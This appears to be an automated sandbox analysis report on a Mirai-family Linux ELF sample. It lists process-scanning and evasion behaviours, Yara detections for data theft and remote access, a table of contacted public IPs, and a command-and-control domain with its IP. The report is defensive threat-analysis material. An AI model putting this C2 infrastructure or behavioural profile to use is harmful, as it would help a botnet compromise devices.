Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1588/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/1588/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3402/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3402/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3402/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3125/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3125/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3125/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3246/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3246/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3246/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3245/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3245/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3245/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/767/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/767/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/767/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/800/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/800/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/800/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/888/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/888/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/888/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3762/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3762/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3762/exe Jump to behavior
Reads CPU information from /sys indicative of miner or evasive malware
Source: /tmp/RjeN8EvCIF.elf (PID: 5496) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/thread_siblings_list Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5496) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/thread_siblings_list Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/RjeN8EvCIF.elf (PID: 5494) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5510) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5511) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5512) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5513) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515) Queries kernel information via 'uname': Jump to behavior
Source: RjeN8EvCIF.elf, 5494.1.000055949e05b000.000055949e0e2000.rw-.sdmp, RjeN8EvCIF.elf, 5498.1.000055949e05b000.000055949e0e2000.rw-.sdmp, RjeN8EvCIF.elf, 5502.1.000055949e05b000.000055949e0e2000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: RjeN8EvCIF.elf, 5494.1.00007fffa3345000.00007fffa3366000.rw-.sdmp, RjeN8EvCIF.elf, 5498.1.00007fffa3345000.00007fffa3366000.rw-.sdmp, RjeN8EvCIF.elf, 5502.1.00007fffa3345000.00007fffa3366000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/RjeN8EvCIF.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/RjeN8EvCIF.elf
Source: RjeN8EvCIF.elf, 5494.1.000055949e05b000.000055949e0e2000.rw-.sdmp, RjeN8EvCIF.elf, 5498.1.000055949e05b000.000055949e0e2000.rw-.sdmp, RjeN8EvCIF.elf, 5502.1.000055949e05b000.000055949e0e2000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: RjeN8EvCIF.elf, 5494.1.00007fffa3345000.00007fffa3366000.rw-.sdmp, RjeN8EvCIF.elf, 5498.1.00007fffa3345000.00007fffa3366000.rw-.sdmp, RjeN8EvCIF.elf, 5502.1.00007fffa3345000.00007fffa3366000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: RjeN8EvCIF.elf, type: SAMPLE
Source: Yara match File source: 5498.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5494.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5502.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5494, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5498, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5502, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: RjeN8EvCIF.elf, type: SAMPLE
Source: Yara match File source: 5498.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5494.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5502.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5494, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5498, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5502, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
61.217.208.168
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
190.198.131.121
 unknown Venezuela
8048 CANTVServiciosVenezuelaVE false
94.24.183.152
 unknown Russian Federation
8369 INTERSVYAZ-AS38-BKomsomolskyprospektRU false
24.24.87.141
 unknown United States
13343 TWC-13343-CHARLOTTEUS false
88.244.161.224
 unknown Turkey
9121 TTNETTR false
2.247.18.29
 unknown Germany
6805 TDDE-ASN1DE false
190.20.213.10
 unknown Chile
7418 TELEFONICACHILESACL false
85.93.84.168
 unknown Germany
61157 PLUSSERVER-ASN1DE false
61.107.183.12
 unknown Korea Republic of
9457 DREAMX-ASDREAMLINECOKR false
213.65.26.92
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
85.160.108.146
 unknown Czech Republic
5610 O2-CZECH-REPUBLICCZ false
24.90.23.153
 unknown United States
12271 TWC-12271-NYCUS false
213.92.116.120
 unknown Italy
3313 INET-ASIT false
85.149.45.150
 unknown Netherlands
5390 EURONETNL false
61.75.63.250
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
190.208.104.252
 unknown Chile
6535 TelmexServiciosEmpresarialesSACL false
213.249.153.175
 unknown United Kingdom
12390 KINGSTON-UK-ASGB false
61.35.213.227
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
88.25.183.29
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
94.170.181.160
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
190.26.43.107
 unknown Colombia
19429 ETB-ColombiaCO false
2.41.155.108
 unknown Italy
30722 VODAFONE-IT-ASNIT false
213.106.196.108
 unknown United Kingdom
5089 NTLGB false
24.193.139.222
 unknown United States
12271 TWC-12271-NYCUS false
94.122.118.85
 unknown Turkey
12978 DOGAN-ONLINETR false
94.178.250.169
 unknown Ukraine
6849 UKRTELNETUA false
61.138.32.13
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
61.137.5.1
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
213.113.97.40
 unknown Sweden
2119 TELENOR-NEXTELTelenorNorgeASNO false
85.56.234.207
 unknown Spain
12479 UNI2-ASES false
117.58.119.99
 unknown China
4782 GSNETDataCommunicationBusinessGroupTW false
94.100.72.105
 unknown Germany
21413 ENVIA-TEL-ASD-09114ChemnitzDE false
117.40.39.49
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
190.223.176.174
 unknown Peru
12252 AmericaMovilPeruSACPE false
24.123.18.137
 unknown United States
33363 BHN-33363US false
61.172.150.92
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
2.43.246.202
 unknown Italy
30722 VODAFONE-IT-ASNIT false
88.182.56.37
 unknown France
12322 PROXADFR false
94.64.44.99
 unknown Greece
6799 OTENET-GRAthens-GreeceGR false
61.100.72.150
 unknown Korea Republic of
38669 CNBTV-AS-KRLGHelloVisionCorpKR false
94.35.200.81
 unknown Italy
8612 TISCALI-IT false
213.181.23.14
 unknown Russian Federation
8241 RELLINE-ASRU false
2.250.87.246
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
85.164.56.9
 unknown Norway
2119 TELENOR-NEXTELTelenorNorgeASNO false
85.182.227.84
 unknown Germany
6805 TDDE-ASN1DE false
88.18.1.194
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
88.213.59.221
 unknown Saudi Arabia
34397 CYBERIA-RUHCyberiaRiyadhAutonomousSystemSA false
213.144.252.58
 unknown Netherlands
28685 ASN-ROUTITNL false
213.231.234.210
 unknown Poland
15851 WASK-COMWROCMAN-COMnon-educationalpartofWASKnetworkW false
24.200.111.200
 unknown Canada
5769 VIDEOTRONCA false
117.91.212.202
 unknown China
137697 CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ false
2.219.13.137
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
190.88.108.42
 unknown Curacao
11081 UnitedTelecommunicationServicesUTSCW false
190.251.83.241
 unknown Colombia
13489 EPMTelecomunicacionesSAESPCO false
94.220.78.188
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
88.149.39.151
 unknown Iceland
12969 VODAFONE_ICELANDIS false
213.50.24.148
 unknown Sweden
3246 TDCSONGTele2BusinessTDCSwedenSE false
88.117.234.161
 unknown Austria
8447 TELEKOM-ATA1TelekomAustriaAGAT false
213.116.155.32
 unknown European Union
702 UUNETUS false
2.222.114.197
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
88.206.84.185
 unknown Russian Federation
8369 INTERSVYAZ-AS38-BKomsomolskyprospektRU false
24.21.174.31
 unknown United States
7922 COMCAST-7922US false
213.110.50.40
 unknown Russian Federation
39860 INTEKS-ASRU false
94.176.13.45
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
88.91.218.13
 unknown Norway
2119 TELENOR-NEXTELTelenorNorgeASNO false
24.148.143.214
 unknown United States
11426 TWC-11426-CAROLINASUS false
213.17.152.205
 unknown Poland
12741 AS-NETIAWarszawa02-822PL false
85.115.143.224
 unknown Gibraltar
34803 BGLGI false
213.145.226.185
 unknown Austria
25575 DOMAINTECHNIKAT false
61.2.114.5
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
24.3.64.41
 unknown United States
7922 COMCAST-7922US false
2.34.179.124
 unknown Italy
30722 VODAFONE-IT-ASNIT false
117.240.18.116
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
94.114.203.247
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
88.117.155.171
 unknown Austria
8447 TELEKOM-ATA1TelekomAustriaAGAT false
2.125.139.77
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
24.83.40.55
 unknown Canada
6327 SHAWCA false
2.174.1.103
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
88.211.50.159
 unknown United Kingdom
39633 PITCOREGB false
213.191.169.184
 unknown Bulgaria
13124 IBGCBG false
2.121.243.50
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
24.231.144.52
 unknown United States
20115 CHARTER-20115US false
190.241.241.39
 unknown Costa Rica
3790 RADIOGRAFICACOSTARRICENSECR false
88.30.5.72
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
88.6.158.229
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
61.177.181.231
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
85.183.190.202
 unknown Germany
6805 TDDE-ASN1DE false
94.19.11.122
 unknown Russian Federation
35807 SKYNET-SPB-ASRU false
24.68.238.154
 unknown Canada
6327 SHAWCA false
24.108.3.92
 unknown Canada
6327 SHAWCA false
2.99.61.41
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
61.176.151.235
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
24.222.143.167
 unknown Canada
11260 EASTLINK-HSICA false
117.21.79.247
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
85.170.100.102
 unknown France
21502 ASN-NUMERICABLEFR false
88.18.157.93
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
117.246.249.248
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
85.204.194.61
 unknown Denmark
60876 GIGABIT-DK false
190.13.134.45
 unknown Chile
14117 TelefonicadelSurSACL false
2.140.120.190
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false

Contacted Domains

Name IP Active
cnc.chromies.cf 5.181.156.131 true